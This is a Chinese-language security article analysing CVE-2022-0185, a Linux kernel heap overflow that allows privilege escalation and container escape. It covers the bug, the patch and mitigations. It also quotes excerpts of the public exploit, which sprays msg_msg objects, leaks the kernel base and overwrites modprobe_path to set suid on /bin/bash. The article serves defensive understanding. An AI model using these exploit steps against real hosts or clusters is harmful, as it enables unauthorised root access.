<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Linux內核漏洞——CVE-2022-0185分析與思考

    VSole2022-03-04 14:54:22

    簡介

    CVE-2022-0185是一個Linux內核中"Filesystem Context"中的一個堆溢出漏洞,攻擊者可以利用該漏洞發起DDoS攻擊,實現容器逃逸和提升至主機權限。該漏洞是在Google KCTF(基于Kubernetes的CTF)漏洞賞金計劃中被Crusaders of Rust[1]團隊的成員Jamie Hill-Daniel和William Liu發現[2]的,研究員因此獲得了31337美元的獎勵。NVD官網[3]最新數據顯示,該漏洞CVSS3.x的評分為8.4。

    據William所言,存在問題的代碼于2019年3月在5.1-rc1版本中被引入Linux內核,直至2022年1月18日(5.16.2版本),官方才發布補丁修復該漏洞。然而要想成功利用CVE-2022-0185卻并不容易,William在博客中用大量篇幅來講述漏洞發現的過程和整個利用鏈的過程,感興趣的讀者可以閱讀博客[4]。本文的目的之一是希望讀者能夠理解該漏洞的原理,作為云安全從業者,能夠做好針對性的檢測和防御工作。下面筆者將給出理解該漏洞所需的背景知識,然后對該漏洞進行分析,并給出相關緩解和修復方案,最后思考該漏洞的防御工作。

    免責聲明:本文中提到的漏洞利用代碼和分析皆已在github倉庫[5]和研究員博客中公開,僅供研究交流使用,請遵守《網絡安全法》等相關法律法規,切勿將其用于未授權滲透測試。

    背景知識

    1Filesystem Context

    Filesystem Context是在創建Superblock的掛載和重新配置時使用的[6]。Superblock記錄了一個文件系統的特征,包括它的大小、區塊大小、空的和已填充的區塊及其各自的計數、inode表的大小和位置、磁盤區塊圖和使用信息,以及區塊組的大小。

    2Capabilities —— CAP_SYS_ADMIN

    Capabilities機制是在Linux內核2.2版本之后引入的,它的出現是為了對root權限進行更細粒度的控制,實現按需授權。常見的capability所允許的操作或行為如下表所示[7]:

    capability 名稱

    描述

    CAP_CHOWN

    改變文件的所屬者(chown())

    CAP_KILL

    向進程發送信號(kill(), signal())

    CAP_SETUID

    改變進程的uid(setuid(), setreuid(), setresuid()等)

    CAP_SYS_PTRACE

    trace進程(ptrace())

    CAP_SYS_ADMIN

    提供系統管理員級別的操作

    本文需要關注的是CAP_SYS_ADMIN,它提供眾多命令的權限,如mount(2),umount(2),clone(2) 和 unshare(2)等。

    3Seccomp —— Docker與Kubernetes的區別

    Seccomp 全稱Secure computing mode,意為安全計算模式,自 2.6.12 版本以來一直是 Linux 內核的功能。它可以用來對進程的特權進行沙盒處理,從而限制了它可以從用戶空間向內核進行的調用。只有當Docker在構建時使用了Seccomp,并且內核在配置時啟用了CONFIG_SECCOMP,這個功能才可用。可以用以下命令來檢查當前環境是否支持Seccomp:

    grep CONFIG_SECCOMP= /boot/config-$(uname -r)
    

    當使用Docker運行一個容器時,它會使用默認的配置文件[8],除非使用--security-opt參數來指定自定義配置文件。該配置文件是一個允許列表,它默認拒絕訪問系統調用,只有列表中的系統調用可以執行,一些重要的系統調用如clone,ptrace,unshare等都默認禁止在Docker中執行,如圖1所示:


    圖1 Docker容器中默認禁用unshare

    被禁用的原因在官方文檔[9]有所說明,感興趣的可以閱讀了解。
    

    但在早先版本(1.22版本之前)的Kubernetes集群中使用Docker時,Seccomp機制卻是默認禁用的。在Kubernetes集群中創建一個普通的Pod資源,檢查Seccomp機制的狀態和Pod內部系統調用的執行情況,如圖2所示:

    圖2 Kubernetes集群中Pod內部默認不禁用unshare

    可以看到Seccomp的狀態值為0,代表禁用狀態。
    

    自1.22版本開始,Kubernetes引入了SeccompDefault特性,用來增強集群環境內的安全性。當該特性啟用時,kubelet將默認使用由容器運行時定義的RuntimeDefault Seccomp配置文件,限制集群環境內的系統調用。

    漏洞分析

    1漏洞成因

    該漏洞發生Filesystem Context處理legacy參數時,由fs/fs_context.c的legacy_parse_param函數中存在的整數下溢引起,問題源碼如下:

    if (len > PAGE_SIZE -2 - size)            return invalf(fc, "VFS: Legacy: Cumulative optionstoo large");if (strchr(param->key,',') ||    (param->type == fs_value_is_string&&     memchr(param->string, ',',param->size)))            return invalf(fc, "VFS: Legacy: Option '%s'contained comma",                             param->key);if (!ctx->legacy_data){            ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);            if (!ctx->legacy_data)                        return -ENOMEM;}
    

    在第551行(源代碼中所在行數,下同)存在一個邊界檢查,如果(len>PAGE_SIZE- 2 - size),將返回一個錯誤;但當size大小為4095或更大時,因為PAGE_SIZE是4Kb ,無符號減法PAGE_SIZE - 2 - size的計算結果將是一個巨大的正值,該正值大于len,所以檢查將不會觸發,然后就會有一個越界寫入(在第566行):

    ctx->legacy_data[size++] = ',';len = strlen(param->key);memcpy(ctx->legacy_data+ size, param->key, len);size += len;if (param->type == fs_value_is_string) {            ctx->legacy_data[size++]= '=';}
    

    因此通過向有漏洞的函數發送超過4095字節的數據,可以繞過輸入長度檢查,導致越界寫入。這使得攻擊者可以寫到內存的其他部分,導致系統崩潰或運行任意代碼從而實現容器逃逸或權限提升。

    2漏洞利用條件

    該漏洞在宿主機上用于提升權限時,暫未發現利用的前提條件,只需以非root用戶執行代碼即可。

    若用于容器逃逸,因為容器環境的安全隔離機制,需要判斷容器內的環境是否滿足一定條件。公開的利用鏈中包括特權系統調用,如fsopen(),因此需要攻擊者擁有CAP_SYS_ADMIN capability(在任何命名空間),但該capability往往在容器以特權啟動時被授予,或者添加--cap-add=SYS_ADMIN參數授予,并不會廣泛出現。然而,該capability可以通過unshare系統調用獲得。unshare系統調用會將進程分配至新的namespace,如在容器內部使用unshare -U命令可以使用戶進入一個新的user namespace,由于Linux capability繼承的機制,新的namespace擁有全部的capabilities,也包括CAP_SYS_ADMIN。通過上文的背景知識可以了解到比較矛盾的是,在Docker容器中,因為Seccomp機制的限制,unshare系統調用會被禁止,所以此種方法在普通業務容器中并不適用。但當處于低版本(1.22版本之前)的Kubernetes集群環境中,在默認配置情況下,非特權用戶可以在Pod內部順利執行unshare系統調用。因此,CVE-2022-0185用來容器逃逸的場景主要限于低版本Kubernetes集群環境。

    漏洞利用

    漏洞發現團隊在GitHub倉庫公開了漏洞利用代碼,其中fuse版本是針對5.11.0-44內核版本的本地權限提升代碼。它不會直接返回一個rootshell,而是使/bin/bash添加suid權限,該腳本利用思路大致如下:

    1. 使用堆溢出來調整msg_msg的size,調用msgrcv()讀內存,觸發越界讀取(注:調用msgrcv()讀取內核數據時,帶上MSG_COPY標志避免unlink時崩潰),接著使用open(“/proc/self/stat”, O_RDONLY)的技巧噴射許多seq_operations結構,嘗試讀取該結構泄露的指針,由此獲得內核基址,并計算出modprobe_path地址:

    uint64_t do_leak (){    ......    // 噴射msg_msg對象    for (int i = 0; i< 8; i++)    {        memset(buffer,0x41+i, sizeof(buffer));        targets[i] =make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       send_msg(targets[i], message, size - 0x30, 0);    }     memset(pat, 0x42,sizeof(pat));    pat[sizeof(pat)-1]= '\x00';            ......    strcpy(pat,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");    for (int i = 0; i< 117; i++)    {        fsconfig(fd,FSCONFIG_SET_STRING, "\x00", pat, 0);    }       // 嘗試用msg_msg對象引起越界讀取    puts("[*]Overflowing...");    pat[21] = '\x00';    char evil[] ="\x60\x10";    fsconfig(fd,FSCONFIG_SET_STRING, "\x00", pat, 0);     // 噴射更多msg_msg    for (int i = 8; i< 0x10; i++)    {        memset(buffer,0x41+i, sizeof(buffer));        targets[i] =make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       send_msg(targets[i], message, size - 0x30, 0);    }     fsconfig(fd,FSCONFIG_SET_STRING, "\x00", evil, 0);     puts("[*]Done heap overflow");    puts("[*]Spraying kmalloc-32");    for (int i = 0; i< 100; i++)    {       open("/proc/self/stat", O_RDONLY);    }     size = 0x1060;    puts("[*]Attempting to recieve corrupted size and leak data");     // 檢查是否可以得到泄露的內核基址    for (int j = 0; j< 0x10; j++)    {       get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY |MSG_NOERROR);        kbase =do_check_leak(recieved);        if (kbase)        {            close(fd);            returnkbase;        }    }     puts("[X] Noleaks, trying again");    return 0;}
    

    2. 然后利用作者提出的利用msg_msg對象進行任意地址讀和寫技術[11][12],該技術需要用到userfaultfd技術,但從內核5.11版本開始,非特權的userfaultfd默認是禁用的,所以作者在此引入了FUSE技術來替代,用任意地址寫來實現用自定義的腳本覆蓋modprobe_path:

    void do_win(){    ......    puts("[*]Prepaing fault handlers via FUSE");    int evil_fd =open("evil/evil", O_RDWR);    if (evil_fd <0)    {       perror("evil fd failed");        exit(-1);    }    if ((mmap((void*)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd,0)) != (void *)0x1338000)    {       perror("mmap fail fuse 1");        exit(-1);    }     pthread_t thread;    int race =pthread_create(&thread, NULL, arb_write, NULL);    if(race != 0)    {       perror("can't setup threads for race");    }    send_msg(target,rooter, size - 0x30, 0);   pthread_join(thread, NULL);    munmap((void*)0x1337000, 0x1000);    munmap((void*)0x1338000, 0x1000);    close(evil_fd);    close(fd);}
    

    3. 最后使用execve觸發modprobe,利用modprobe_path覆寫技術,成功賦予/bin/bash suid權限:

    void modprobe_hax(){    puts("[*]Attempting to trigger modprobe");   execve(modprobe_trigger, NULL, NULL);    return;}
    

    腳本成功利用后可使用bash -p獲得root權限。

    要想使利用代碼適用不同的內核版本,還需調整代碼中single_start和modprobe_path的偏移量。

    kctf版本代碼可實現在GKE環境中完成容器逃逸,但是并不是100%可以成功,利用代碼主要依賴FUSE和SYSVIPC彈性對象來實現任意寫入。該版本代碼若要適用不同的集群環境,需要修改的內容較多,本文暫不贅述。

    除了"Crusaders of Rust "團隊的利用代碼,還有另一位研究人員發表了漏洞利用代碼和技術分析文章[13],同樣詳細講述了漏洞的利用過程,感興趣的讀者可以閱讀。

    補丁分析

    查看官方針對此漏洞的補丁[14],修復后的代碼如下:

    fs/fs_context.c@@ -548,7 +548,7 @@ static int legacy_parse_param(structfs_context *fc, struct fs_parameter *param)                                          param->key);            }             if (size +len + 2 > PAGE_SIZE)                        returninvalf(fc, "VFS: Legacy: Cumulative options too large");            if(strchr(param->key, ',') ||                (param->type == fs_value_is_string&&
    

    修復方案較為簡單,僅將之前的減法運算變更為加法,即條件判斷改為size+ len + 2 > PAGE_SIZE,就可以解決這個問題。

    漏洞修復與緩解

    用戶可以升級Linux kernel到5.16.2版本來修復該漏洞。但是該修復版本并不適用于所有Linux發行版,包括那些使用Linux kernel開發的系統。對于這些暫時沒有可用補丁的系統,建議用戶禁用非特權用戶命名空間。

    在Ubuntu系統中,可以使用以下命令來禁用非特權用戶命名空間:

    sysctl -w kernel.unprivileged_userns_clone=0
    

    Red Hat 用戶可以使用以下命令來禁用用戶命名空間:

    echo"user.max_user_namespaces=0" > /etc/sysctl.d/userns.confsysctl -p/etc/sysctl.d/userns.conf
    

    對于在Amazon EKS,Azure AKS和Google GKE環境的用戶,可以通過更新節點鏡像的方式修復漏洞[15]。

    防范措施

    了解漏洞的原理和利用條件之后,便可以從利用鏈的不同環節去防范此漏洞的利用。除了升級內核或更新補丁外,還可以用以下方法進行防范:

    1. 在容器環境中啟用Seccomp機制,確保unshare系統調用的禁用。

    2. 對于低版本的Kubernetes環境,可以禁用非特權用戶命名空間,具體參考上文中漏洞修復中步驟。

    3. 對于1.22版以上的Kubernetes,可以在資源創建時使用SecurityContext添加默認的Seccomp或AppArmor配置文件,以保護任何Pod、Deployment、StatefulSet、Replicaset或Daemonset。使用運行時默認Seccomp配置限制Pod使用unshare系統調用,具體配置方法如下:

    apiVersion:v1kind:Podmetadata: name:default-Pod labels:    app:default-Podspec: securityContext:    SeccompProfile:      type:RuntimeDefault           #將Pod的Seccomp類型設置為RuntimeDefault containers: - name:test    image: ubuntuimagePullPolicy: IfNotPresent"command: ["/bin/bash", "-c", "--" ]args: [ "while true; dosleep 30; done;" ]    securityContext:      allowPrivilegeEscalation:false
    

    4. 謹慎部署privileged特權容器,謹慎給Pod添加CAP_SYS_ADMIN內核能力。CAP_SYS_ADMIN雖只是眾多capabilities中的一種,但其代表的權限略高,據《CAP_SYS_ADMIN: the new root》[16]中介紹,許多開發者會在授權capability時不知道如何細分,最終選擇CAP_SYS_ADMIN來滿足環境。

    總結與思考

    Linux作為一款免費開源的操作系統,被越來越多的用戶和企業使用。正因用戶數量大,使用范圍廣,一旦其內核曝出相關漏洞,往往后果嚴重。觀察近幾年曝出的內核相關漏洞,大多數是問題代碼存在已久,在和不同的技術融合時,才作為漏洞被研究者挖掘出來。CVE-2022-0185雖已公開利用代碼,但因為其利用代碼適用性的問題,預測用于“本地權限提升”的可能性要大于容器逃逸。即便如此,由于容器共享宿主機內核的緣故,集群環境中大多數宿主機為Linux系統,云原生環境安全問題仍不容小覷。

    希望讀者以此文章對該漏洞有更好的了解與認識,建立針對該漏洞的方法和檢測機制,共同建設云環境安全。

    參考文獻

    [1] https://cor.team/

    [2] https://www.openwall.com/lists/oss-security/2022/01/18/7

    [3] https://nvd.nist.gov/vuln/detail/CVE-2022-0185

    [4] https://www.willsroot.io/2022/01/cve-2022-0185.html

    [5] https://github.com/Crusaders-of-Rust/CVE-2022-0185

    [6] https://www.kernel.org/doc/html/latest/filesystems/mount_api.html#the-filesystem-context

    [7] https://man7.org/linux/man-pages/man7/capabilities.7.html

    [8] https://github.com/moby/moby/blob/master/profiles/seccomp/default.json

    [9] https://docs.docker.com/engine/security/seccomp/#significant-syscalls-blocked-by-the-default-profile

    [10] https://www.openwall.com/lists/oss-security/2022/01/25/14

    [11] https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html

    [12] https://syst3mfailure.io/wall-of-perdition

    [13] https://www.openwall.com/lists/oss-security/2022/01/25/14

    [14] https://github.com/torvalds/linux/commit/722d94847de29310e8aa03fcbdb41fc92c521756

    [15] https://jfrog.com/blog/the-impact-of-cve-2022-0185-linux-kernel-vulnerability-on-popular-kubernetes-engines/

    [16] https://lwn.net/Articles/486306/

    kubernetes系統調用
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    與云原生技術紅利相伴而來的是安全威脅和風險。近年來,在云原生蓬勃發展的產業背景下,新的安全漏洞、安全事件同樣層出不窮。隨著越來越多重要業務云原生化,安全已經成為業務落地的必要保障條件。有哪些因素會讓云原生環境變得不安全?怎樣保障云原生安全?《云原生安全: 攻防實踐與體系構建》希望能夠給出一個答案。本文為《云原生安全: 攻防實踐與體系構建》一書的精華解讀,重點介紹云原生環境下的攻防對抗。本書已在京東
    Kubernetes通常被稱為“K8s”,是一種非常流行的開源容器編排系統,可以自動部署、擴展和管理容器化工作負載。
    對于在共享基礎設施上運行的容器化應用程序來說,安全是至關重要的。隨著越來越多的組織將其容器工作負載轉移到Kubernetes,K8s已經成為容器協調的首選平臺。而隨著這一趨勢,威脅和新的攻擊方式也越來越多,有必要加強所有的安全層。 在Kubernetes中,安全問題有兩個方面:集群安全和應用安全。我們已經在另一篇文章中介紹了集群安全。在這篇文章中,我們將探討如何確保Kubernetes部署和一般
    淺談云安全之K8S
    2021-07-14 05:06:00
    Kubernetes 是一個可移植的,可擴展的開源容器編排平臺,用于管理容器化的工作負載和服務,方便了聲明式配置和自動化。它擁有一個龐大且快速增長的生態系統。Kubernetes 的服務,支持和工具廣泛可用。
    在此場景中,利用較舊版本的HELM(版本2),tiller 服務 RBAC 默認設置獲取集群的訪問權限。
    CVE-2022-0185是Linux內核"File System Context"中的一個堆溢出漏洞,可引起容器逃逸和權限提升,本文將對該漏洞進行分析,并給出檢測、緩解、修復建議和總結思考。
    近日,研究人員向Kubernetes安全團隊報告了一個可導致容器逃逸的安全漏洞[1],獲得編號CVE-2021-25741,目前的CVSS3.x評分為8.8[2],屬于高危漏洞。該漏洞引起社區的廣泛討論[3]。有人指出,CVE-2021-25741漏洞是由2017年的CVE-2017-1002101漏洞的補丁不充分導致,事實也的確如此。
    從2022年1月到7月,Sysdig威脅研究團隊實施了一個全球蜜網系統,通過多個攻擊載體捕獲了大量漏洞。如何防范暴力破解DDoS攻擊首先,確保Web服務器免受暴力攻擊是很重要的。攻擊者的目標是訪問服務器或暫時使其失去響應。檢測賬戶接管欺詐主要的威脅檢測解決方案之一是監視應用程序的登錄頁面,以防止使用受損憑證對用戶帳戶進行未經授權的訪問。賬戶接管是一種在線非法活動,攻擊者在未經授權的情況下訪問用戶的賬戶。
    結合我們的安全建設和安全運營實踐,系統的分享我們對于云原生架構下安全建設和安全運營的思考。
    多年來一直是 Isovalent Cilium Enterprise的一部分,2022年5月 Tetragon決定將其開源。需要注意的是,這也面臨同樣的問題,如果環境已經被惡意利用eBPF技術攻擊, 那Tetragon的實時執行結果將可能是被篡改的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类